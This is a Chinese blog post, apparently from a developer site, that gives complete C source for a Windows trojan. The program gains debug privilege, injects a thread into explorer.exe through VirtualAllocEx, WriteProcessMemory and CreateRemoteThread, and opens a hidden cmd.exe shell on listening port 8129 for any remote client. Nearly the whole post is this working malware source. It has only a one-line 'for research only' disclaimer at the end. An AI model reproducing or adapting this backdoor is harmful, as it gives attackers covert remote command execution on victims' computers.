以下是在网上看到的一个用C语言编写的木马源程序代码大家

#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#include<windows.h>
#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>


//参数结构 ;
typedef struct _RemotePara
{
  DWORD dwLoadLibrary;
  DWORD dwFreeLibrary;
  DWORD dwGetProcAddress;
  DWORD dwGetModuleHandle;
  DWORD dwWSAStartup;
  DWORD dwSocket;
  DWORD dwhtons;
  DWORD dwbind;
  DWORD dwlisten;
  DWORD dwaccept;
  DWORD dwsend;
  DWORD dwrecv;
  DWORD dwclosesocket;
  DWORD dwCreateProcessA;
  DWORD dwPeekNamedPipe;
  DWORD dwWriteFile;
  DWORD dwReadFile;
  DWORD dwCloseHandle;
  DWORD dwCreatePipe;
  DWORD dwTerminateProcess;
  DWORD dwMessageBox;

  char strMessageBox[12];
  char winsockDll[16];
  char cmd[10];
  char Buff[4096];
  char telnetmsg[60];
}RemotePara;

// 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName);

// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;

struct sockaddr_in server_addr;
struct     sockaddr_in client_addr;

int iAddrSize = sizeof(client_addr);

SECURITY_ATTRIBUTES sa;

HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;

STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;

typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);

FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;

PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;

LoadLibraryFunc(Para->winsockDll);

PWSAStartup   = (FARPROC)Para->dwWSAStartup;
PSocket   = (FARPROC)Para->dwSocket;
Phtons     = (FARPROC)Para->dwhtons;
Pbind     = (FARPROC)Para->dwbind;
Plisten   = (FARPROC)Para->dwlisten;
Paccept   = (FARPROC)Para->dwaccept;
Psend     = (FARPROC)Para->dwsend;
Precv     = (FARPROC)Para->dwrecv;
Pclosesocket   = (FARPROC)Para->dwclosesocket;
PCreateProcessA = (FARPROC)Para->dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;
PWriteFile     = (FARPROC)Para->dwWriteFile;
PReadFile     = (FARPROC)Para->dwReadFile;
PCloseHandle   = (FARPROC)Para->dwCloseHandle;
PCreatePipe     = (FARPROC)Para->dwCreatePipe;
PTerminateProcess   = (FARPROC)Para->dwTerminateProcess;
PMessageBoxA   = (FARPROC)Para->dwMessageBox;

nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;

server_addr.sin_family   = AF_INET;
server_addr.sin_port     = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;

if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// Psend(clientSocket, Para->telnetmsg, 60, 0);

if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;

ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput   = hReadPipe2;
si.hStdOutput   = si.hStdError = hWritePipe1;

if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;
while(1) {
  memset(Para->Buff,0,4096);
  PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
  if(lBytesRead) {
  if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;
  if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
  }else {
  lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);
  if(lBytesRead <=0 ) break;
  if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
  }
}

PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);

// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);

return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            LPSTR lpCmdLine,
            int   nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);

// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;

// 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;

// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;

ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary   = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary   = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress   = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle   = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");

myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe   = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile     = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile     = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle     = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe     = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess   = (DWORD)GetProcAddress(hKernel, "TerminateProcess");

hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup   = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket   = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons     = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind     = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten   = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept   = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv     = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend     = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket   = (DWORD)GetProcAddress(hSock,"closesocket");

hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

strcat(myRemotePara.strMessageBox,"Sucess!//0");
strcat(myRemotePara.winsockDll,"wsock32.dll//0");
strcat(myRemotePara.cmd,"cmd.exe//0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!//n//0");

//写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

// 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);

return 0;
}

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}

DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;

hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
  do
  {
  if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
  {
dwRet=pe32.th32ProcessID;
break;
  }
  }while (Process32Next(hProcessSnap,&pe32));
}
else return 0;

if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
}
 
用来研究所用,请不要用它干非法活动
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值